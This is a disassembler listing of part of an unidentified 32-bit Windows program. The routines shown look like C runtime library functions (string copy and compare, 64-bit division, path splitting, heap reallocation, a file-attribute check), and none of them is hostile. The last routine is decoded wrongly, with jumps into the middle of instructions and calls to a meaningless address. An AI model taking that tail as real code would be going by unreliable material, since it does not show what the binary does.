loc_413241:				; CODE XREF: sub_413150+E5j
		and	ebx, 3
		jnz	short loc_4131CB


loc_413246:				; CODE XREF: sub_413150+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_413150	endp


; =============== S U B	R O U T	I N E =======================================



sub_41324E	proc near		; CODE XREF: sub_4053E1+2E2p
					; sub_4053E1+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4132CA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41326D
		cmp	edi, 1
		jz	short loc_41326D
		cmp	edi, 2
		jnz	short loc_4132CA


loc_41326D:				; CODE XREF: sub_41324E+13j
					; sub_41324E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_413284
		push	esi
		call	sub_417E8C
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_413284:				; CODE XREF: sub_41324E+27j
		push	esi
		call	sub_417869
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_413299
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_4132AD
; ---------------------------------------------------------------------------


loc_413299:				; CODE XREF: sub_41324E+42j
		test	al, 1
		jz	short loc_4132AD
		test	al, 8
		jz	short loc_4132AD
		test	ah, 4
		jnz	short loc_4132AD
		mov	dword ptr [esi+18h], 200h


loc_4132AD:				; CODE XREF: sub_41324E+49j
					; sub_41324E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_417DF2
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_4132D7
; ---------------------------------------------------------------------------


loc_4132CA:				; CODE XREF: sub_41324E+Bj
					; sub_41324E+1Dj
		mov	ds:dword_460F8C, 16h
		or	eax, 0FFFFFFFFh


loc_4132D7:				; CODE XREF: sub_41324E+7Aj
		pop	edi
		pop	esi
		retn
sub_41324E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132E0	proc near		; CODE XREF: sub_4053E1+2ACp
					; sub_4053E1+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_413311
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41330F
		jz	short loc_413311
		dec	ecx
		dec	ecx


loc_41330F:				; CODE XREF: sub_4132E0+29j
		not	ecx


loc_413311:				; CODE XREF: sub_4132E0+9j
					; sub_4132E0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4132E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413320	proc near		; CODE XREF: sub_4058D8+5Cp
					; sub_4058D8+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_4133D4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41334A


loc_41333B:				; CODE XREF: sub_413320+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41337B
		test	edi, 3
		jnz	short loc_41333B


loc_41334A:				; CODE XREF: sub_413320+19j
					; sub_413320+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41334A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_413388
		test	ah, ah
		jz	short loc_413383
		test	eax, 0FF0000h
		jz	short loc_41337E
		test	eax, 0FF000000h
		jnz	short loc_41334A


loc_41337B:				; CODE XREF: sub_413320+20j
		dec	edi
		jmp	short loc_41338B
; ---------------------------------------------------------------------------


loc_41337E:				; CODE XREF: sub_413320+52j
		sub	edi, 2
		jmp	short loc_41338B
; ---------------------------------------------------------------------------


loc_413383:				; CODE XREF: sub_413320+4Bj
		sub	edi, 3
		jmp	short loc_41338B
; ---------------------------------------------------------------------------


loc_413388:				; CODE XREF: sub_413320+47j
		sub	edi, 4


loc_41338B:				; CODE XREF: sub_413320+5Cj
					; sub_413320+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_4133A0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4133EC
		jmp	short loc_4133BC
; ---------------------------------------------------------------------------


loc_4133A0:				; CODE XREF: sub_413320+75j
					; sub_413320+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_4133DA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_4133D0
		test	esi, 3
		jnz	short loc_4133A0
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4133EC


loc_4133BC:				; CODE XREF: sub_413320+7Ej
					; sub_413320+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_4133D0


loc_4133C3:				; CODE XREF: sub_413320+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_4133D2
		dec	ecx
		jnz	short loc_4133C3


loc_4133D0:				; CODE XREF: sub_413320+8Bj
					; sub_413320+A1j
		mov	[edi], cl


loc_4133D2:				; CODE XREF: sub_413320+ABj
		pop	ebx
		pop	esi


loc_4133D4:				; CODE XREF: sub_413320+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4133DA:				; CODE XREF: sub_413320+85j
					; sub_413320+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4133E4:				; CODE XREF: sub_413320+E4j
					; sub_413320+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4133BC


loc_4133EC:				; CODE XREF: sub_413320+7Cj
					; sub_413320+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4133E4
		test	dl, dl
		jz	short loc_4133DA
		test	dh, dh
		jz	short loc_413438
		test	edx, 0FF0000h
		jz	short loc_413428
		test	edx, 0FF000000h
		jnz	short loc_4133E4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413428:				; CODE XREF: sub_413320+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413438:				; CODE XREF: sub_413320+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_413320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413450	proc near		; CODE XREF: seg000:0040CB33p
					; seg000:0040CB51p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_413471
		xor	eax, eax
		jmp	short loc_413473
; ---------------------------------------------------------------------------


loc_413471:				; CODE XREF: sub_413450+1Bj
		mov	eax, edi


loc_413473:				; CODE XREF: sub_413450+1Fj
		cld
		pop	edi
		leave
		retn
sub_413450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413477	proc near		; CODE XREF: sub_4078DF+6p
					; sub_4078FD+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_461018, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4134A4
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41353D
		cmp	eax, 5Ah
		jg	loc_41353D
		add	eax, 20h
		jmp	loc_41353D
; ---------------------------------------------------------------------------


loc_4134A4:				; CODE XREF: sub_413477+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4134D8
		cmp	ds:dword_42FA7C, esi
		jle	short loc_4134C6
		push	esi
		push	ebx
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_4134D0
; ---------------------------------------------------------------------------


loc_4134C6:				; CODE XREF: sub_413477+42j
		mov	eax, ds:off_42F870
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4134D0:				; CODE XREF: sub_413477+4Dj
		test	eax, eax
		jnz	short loc_4134D8


loc_4134D4:				; CODE XREF: sub_413477+ADj
		mov	eax, ebx
		jmp	short loc_41353D
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_413477+3Aj
					; sub_413477+5Bj
		mov	edx, ds:off_42F870
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4134FC
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_413505
; ---------------------------------------------------------------------------


loc_4134FC:				; CODE XREF: sub_413477+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_413505:				; CODE XREF: sub_413477+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_461018
		call	loc_417FE4
		add	esp, 20h
		test	eax, eax
		jz	short loc_4134D4
		cmp	eax, esi
		jnz	short loc_413530
		movzx	eax, [ebp+var_4]
		jmp	short loc_41353D
; ---------------------------------------------------------------------------


loc_413530:				; CODE XREF: sub_413477+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41353D:				; CODE XREF: sub_413477+16j
					; sub_413477+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413477	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413550	proc near		; CODE XREF: sub_4087D6+3Dp
					; sub_409553+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_413571
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4135C1
; ---------------------------------------------------------------------------


loc_413571:				; CODE XREF: sub_413550+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41357F:				; CODE XREF: sub_413550+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41357F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4135AA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4135AA
		jb	short loc_4135B2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4135B2


loc_4135AA:				; CODE XREF: sub_413550+4Aj
					; sub_413550+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4135B2:				; CODE XREF: sub_413550+52j
					; sub_413550+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4135C1:				; CODE XREF: sub_413550+1Fj
		pop	ebx
		retn	10h
sub_413550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4135D0	proc near		; CODE XREF: sub_4087D6+24p
					; sub_409553+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4135F2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_413633
; ---------------------------------------------------------------------------


loc_4135F2:				; CODE XREF: sub_4135D0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_413600:				; CODE XREF: sub_4135D0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_413600
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41362E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41362E
		jb	short loc_41362F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41362F


loc_41362E:				; CODE XREF: sub_4135D0+4Ej
					; sub_4135D0+54j
		dec	esi


loc_41362F:				; CODE XREF: sub_4135D0+56j
					; sub_4135D0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_413633:				; CODE XREF: sub_4135D0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4135D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413638	proc near		; CODE XREF: sub_40888C+1E3p
					; seg000:0040E7FCp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_411FB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_413673
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_413673
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41366F
		push	2
		push	ebx
		push	esi
		call	sub_4185E8
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41366F:				; CODE XREF: sub_413638+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41367D
; ---------------------------------------------------------------------------


loc_413673:				; CODE XREF: sub_413638+18j
					; sub_413638+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41367D
		and	byte ptr [eax],	0


loc_41367D:				; CODE XREF: sub_413638+39j
					; sub_413638+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_4136F5


loc_413690:				; CODE XREF: sub_413638+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_4624C1[edx], 4
		jz	short loc_4136A1
		inc	eax
		jmp	short loc_4136BB
; ---------------------------------------------------------------------------


loc_4136A1:				; CODE XREF: sub_413638+64j
		cmp	cl, 2Fh
		jz	short loc_4136B5
		cmp	cl, 5Ch
		jz	short loc_4136B5
		cmp	cl, 2Eh
		jnz	short loc_4136BB
		mov	[ebp+var_4], eax
		jmp	short loc_4136BB
; ---------------------------------------------------------------------------


loc_4136B5:				; CODE XREF: sub_413638+6Cj
					; sub_413638+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4136BB:				; CODE XREF: sub_413638+67j
					; sub_413638+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_413690
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_4136F5
		cmp	[ebp+arg_8], 0
		jz	short loc_4136F0
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4136D9
		mov	edi, esi


loc_4136D9:				; CODE XREF: sub_413638+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4185E8
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4136F0:				; CODE XREF: sub_413638+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4136FF
; ---------------------------------------------------------------------------


loc_4136F5:				; CODE XREF: sub_413638+56j
					; sub_413638+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_4136FF
		and	byte ptr [ecx],	0


loc_4136FF:				; CODE XREF: sub_413638+BBj
					; sub_413638+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_413752
		cmp	edi, ebx
		jb	short loc_413752
		cmp	[ebp+arg_C], 0
		jz	short loc_41372F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_413718
		mov	edi, esi


loc_413718:				; CODE XREF: sub_413638+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4185E8
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41372F:				; CODE XREF: sub_413638+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41377A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41373F
		mov	esi, eax


loc_41373F:				; CODE XREF: sub_413638+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4185E8
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41377A
; ---------------------------------------------------------------------------


loc_413752:				; CODE XREF: sub_413638+CCj
					; sub_413638+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_413770
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_413761
		mov	esi, eax


loc_413761:				; CODE XREF: sub_413638+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4185E8
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_413770:				; CODE XREF: sub_413638+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41377A
		and	byte ptr [eax],	0


loc_41377A:				; CODE XREF: sub_413638+FCj
					; sub_413638+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413638	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41377F	proc near		; CODE XREF: sub_408D72+19p
					; sub_40F420+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41408C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4137BD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4137CA
; ---------------------------------------------------------------------------


loc_4137BD:				; CODE XREF: sub_41377F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_413F77
		pop	ecx
		pop	ecx


loc_4137CA:				; CODE XREF: sub_41377F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41377F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137CF	proc near		; CODE XREF: sub_408FB8+2Ep
					; sub_412A63+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4137EA
		push	[esp+10h+arg_4]
		call	sub_41205F
		pop	ecx
		jmp	loc_4138EA
; ---------------------------------------------------------------------------


loc_4137EA:				; CODE XREF: sub_4137CF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_413800
		push	ebx
		call	sub_4120D3
		pop	ecx


loc_4137F9:				; CODE XREF: sub_4137CF+114j
		xor	eax, eax
		jmp	loc_4138EA
; ---------------------------------------------------------------------------


loc_413800:				; CODE XREF: sub_4137CF+21j
					; sub_4137CF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4138CB
		push	ebx
		call	sub_4149A0
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4138A8
		cmp	esi, ds:dword_42FA8C
		ja	short loc_413868
		push	esi
		push	ebx
		push	ebp
		call	sub_4151AB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413837
		mov	edi, ebx
		jmp	short loc_413860
; ---------------------------------------------------------------------------


loc_413837:				; CODE XREF: sub_4137CF+62j
		push	esi
		call	sub_414CF6
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_413868
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41384E
		mov	eax, esi


loc_41384E:				; CODE XREF: sub_4137CF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_411A40
		push	ebx
		push	ebp
		call	sub_4149CB
		add	esp, 14h


loc_413860:				; CODE XREF: sub_4137CF+66j
		test	edi, edi
		jnz	loc_4138E8


loc_413868:				; CODE XREF: sub_4137CF+53j
					; sub_4137CF+73j
		test	esi, esi
		jnz	short loc_41386F
		push	1
		pop	esi


loc_41386F:				; CODE XREF: sub_4137CF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D140	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4138CB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_413894
		mov	eax, esi


loc_413894:				; CODE XREF: sub_4137CF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_411A40
		push	ebx
		push	ebp
		call	sub_4149CB
		add	esp, 14h
		jmp	short loc_4138C7
; ---------------------------------------------------------------------------


loc_4138A8:				; CODE XREF: sub_4137CF+47j
		test	esi, esi
		jnz	short loc_4138AF
		push	1
		pop	esi


loc_4138AF:				; CODE XREF: sub_4137CF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	ds:dword_4625E0
		call	ds:dword_41D154	; RtlReAllocateHeap
		mov	edi, eax


loc_4138C7:				; CODE XREF: sub_4137CF+D7j
		test	edi, edi
		jnz	short loc_4138E8


loc_4138CB:				; CODE XREF: sub_4137CF+36j
					; sub_4137CF+B9j
		cmp	ds:dword_460FE4, 0
		jz	short loc_4138E8
		push	esi
		call	sub_41490B
		test	eax, eax
		pop	ecx
		jnz	loc_413800
		jmp	loc_4137F9
; ---------------------------------------------------------------------------


loc_4138E8:				; CODE XREF: sub_4137CF+93j
					; sub_4137CF+FAj ...
		mov	eax, edi


loc_4138EA:				; CODE XREF: sub_4137CF+16j
					; sub_4137CF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4137CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4138EF	proc near		; CODE XREF: sub_409539+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41D074	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41390F
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		call	sub_418672
		pop	ecx


loc_41390B:				; CODE XREF: sub_4138EF+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41390F:				; CODE XREF: sub_4138EF+Dj
		test	al, 1
		jz	short loc_413930
		test	[esp+arg_4], 2
		jz	short loc_413930
		mov	ds:dword_460F8C, 0Dh
		mov	ds:dword_460F90, 5
		jmp	short loc_41390B
; ---------------------------------------------------------------------------


loc_413930:				; CODE XREF: sub_4138EF+22j
					; sub_4138EF+29j
		xor	eax, eax
		retn
sub_4138EF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413940	proc near		; CODE XREF: sub_409663+5Fp
					; sub_409663+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_413961
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_413961:				; CODE XREF: sub_413940+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41397D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41397D:				; CODE XREF: sub_413940+27j
		or	eax, eax
		jnz	short loc_413999
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4139DA
; ---------------------------------------------------------------------------


loc_413999:				; CODE XREF: sub_413940+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4139A7:				; CODE XREF: sub_413940+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4139A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4139D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4139D5
		jb	short loc_4139D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4139D6


loc_4139D5:				; CODE XREF: sub_413940+85j
					; sub_413940+8Bj
		dec	esi


loc_4139D6:				; CODE XREF: sub_413940+8Dj
					; sub_413940+93j
		xor	edx, edx
		mov	eax, esi


loc_4139DA:				; CODE XREF: sub_413940+57j
		dec	edi
		jnz	short loc_4139E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4139E4:				; CODE XREF: sub_413940+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_413940	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139EA	proc near		; CODE XREF: seg000:00413ECBp
		mov	eax, ds:off_42F83C
		test	eax, eax
		jz	short loc_4139F5
		call	eax ; sub_4121D1


loc_4139F5:				; CODE XREF: sub_4139EA+7j
		push	offset dword_41F028
		push	offset dword_41F014
		call	sub_413AD2
		push	offset dword_41F010
		push	offset dword_41F000
		call	sub_413AD2
		add	esp, 10h
		retn
sub_4139EA	endp

; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_413A39
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_413A28	proc near		; CODE XREF: sub_413F2E+1Cp
					; sub_419DDC+2Ap ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_413A39
		add	esp, 0Ch
		retn
sub_413A28	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A39	proc near		; CODE XREF: seg000:00413A1Fp
					; sub_413A28+8p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_460FD4, edi
		jnz	short near ptr loc_413A55+1
		push	[esp+4+arg_0]
		call	near ptr 0A70000h
		repne push eax
		call	near ptr 0A70000h


loc_413A55:				; CODE XREF: sub_413A39+Aj
		test	byte ptr [ebx+0C247Ch],	53h
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_460FD0, edi
		mov	ds:byte_460FCC,	bl
		jnz	short loc_413AAA
